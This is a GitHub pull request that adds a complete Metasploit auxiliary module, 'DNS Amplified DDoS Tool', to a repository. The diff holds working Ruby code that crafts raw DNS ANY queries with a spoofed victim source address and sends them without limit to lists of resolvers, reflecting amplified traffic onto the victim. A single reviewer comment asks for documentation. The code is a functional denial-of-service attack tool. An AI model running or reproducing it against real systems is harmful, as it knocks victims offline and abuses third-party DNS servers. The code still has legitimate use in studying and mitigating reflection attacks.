-
Notifications
You must be signed in to change notification settings - Fork 1
add dns dos msf module #4
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
hkparker
wants to merge
1
commit into
jborrey:master
Choose a base branch
from
hkparker:dnsdos
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,108 @@ | ||
| ## | ||
| # This module requires Metasploit: http//metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| require 'msf/core' | ||
|
|
||
| class Metasploit3 < Msf::Auxiliary | ||
|
|
||
| include Msf::Exploit::Capture | ||
| include Msf::Auxiliary::Dos | ||
|
|
||
| def initialize | ||
| super( | ||
| 'Name' => 'DNS Amplified DDoS Tool', | ||
| 'Description' => 'DDoS attack using reflected DNS ANY queries for amplification', | ||
| 'Author' => 'Hayden Parker', | ||
| 'License' => MSF_LICENSE | ||
| ) | ||
|
|
||
| register_options([ | ||
| Opt::RPORT(53), | ||
| OptAddress.new('SHOST', [true, 'The spoofable source address']), | ||
| OptAddress.new('RHOST', [false, 'The DNS server to query']), | ||
| OptPath.new('RHOSTS', [false, 'File containing list of DNS servers to query']), | ||
| OptString.new('DOMAIN', [false, "The domain to query for"]), | ||
| OptPath.new('DOMAINS', [false, "File containing domains to query for"]), | ||
| OptString.new('INTERFACE', [true, "The interface to spew packets from", "eth0"]), | ||
| OptInt.new('SPORT', [false, 'The source port (else randomizes)']), | ||
| OptInt.new('NUM', [true, 'Number of packets to send (zero for unlimited)']) | ||
| ]) | ||
|
|
||
| deregister_options('FILTER','PCAPFILE','TIMEOUT','SNAPLEN') | ||
|
|
||
| @domains = nil | ||
| end | ||
|
|
||
| def sport | ||
| datastore['SPORT'].to_i.zero? ? rand(0xffff-1024)+1024 : datastore['SPORT'].to_i | ||
| end | ||
|
|
||
| def rhost | ||
| if datastore['RHOSTS'] != nil | ||
| return File.open(datastore['RHOSTS']).readlines | ||
| elsif datastore['RHOST'] != nil | ||
| return datastore['RHOST'] | ||
| end | ||
| end | ||
|
|
||
| def domain | ||
| if datastore['DOMAINS'] != nil | ||
| if @domains == nil | ||
| @domains = File.open(datastore['DOMAINS']).readlines | ||
| end | ||
| next_domain = @domains.shift | ||
| @domains = @domains << next_domain | ||
| return next_domain.chomp.split(".") | ||
| elsif datastore['DOMAIN'] != nil | ||
| return datastore['DOMAIN'].split(".") | ||
| end | ||
| end | ||
|
|
||
| def send_query(dns_query, source, host, interface) | ||
| dns_query.udp_src = sport | ||
| dns_query.ip_daddr = source | ||
| dns_query.payload = "" | ||
| dns_query.payload += "\x24\x1a\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01".force_encoding("ASCII-8BIT") | ||
| host.each do |part| | ||
| dns_query.payload += [part.size].pack('U').force_encoding("ASCII-8BIT") | ||
| dns_query.payload += part.force_encoding("ASCII-8BIT") | ||
| end | ||
| dns_query.payload += "\x00\x00\xff\x00\x01\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00".force_encoding("ASCII-8BIT") | ||
| dns_query.recalc | ||
| dns_query.to_w(interface) | ||
| end | ||
|
|
||
| def run | ||
| sent = 0 | ||
| num = datastore['NUM'] | ||
| print_status("Beginning DNS flood...") | ||
|
|
||
| dns_query = PacketFu::UDPPacket.new | ||
| dns_query.ip_saddr = datastore['SHOST'] | ||
| dns_query.udp_dst = datastore['RPORT'] | ||
| interface = datastore['INTERFACE'] | ||
|
|
||
| source = rhost | ||
| if source.class == Array | ||
| while (num <= 0) or (sent < num) | ||
| current_domain = domain | ||
| source.each do |source_ip| | ||
| break if sent >= num unless num <= 0 | ||
| send_query(dns_query, source_ip.chomp, current_domain, interface) | ||
| sent += 1 | ||
| end | ||
| end | ||
| elsif source.class == String | ||
| while (num <= 0) or (sent < num) | ||
| send_query(dns_query, source, domain, interface) | ||
| sent += 1 | ||
| end | ||
| else | ||
| print_error("No DNS server to query defined. Please set RHOST or RHOSTS.") | ||
| end | ||
|
|
||
| print_status("Attack finished (sent #{sent} packets).") | ||
| end | ||
| end | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can you add comments describing the attack? Or link to an article explaining it.